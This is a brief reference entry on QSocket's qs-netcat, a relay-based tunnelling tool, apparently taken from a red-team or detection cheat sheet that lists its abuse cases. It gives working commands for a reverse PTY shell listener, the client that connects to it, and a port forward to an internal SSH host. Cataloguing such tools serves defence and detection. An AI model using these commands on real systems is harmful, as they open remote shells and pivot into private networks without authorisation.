QSocket is a Go port of the Global Socket Toolkit that allows two hosts behind NAT/Firewall to establish an E2E encrypted TCP connection with each other through the Quantum Socket Relay Network (QSRN), using tools such as qs-netcat. Can be abused for reverse shells, port forwarding, SOCKS proxying and data transfer.
Server-side of a reverse PTY shell. Spawns a true interactive login shell when a client connects using the same secret.
qs-netcat -s MySecret -l -i
Client-side connection to the qs-netcat listening server, giving a real interactive PTY shell.
qs-netcat -s MySecret -i
Port-forwards connections to 192.168.6.7:22 on the server's private network via the QSRN.
qs-netcat -s MySecret -l -f 192.168.6.7:22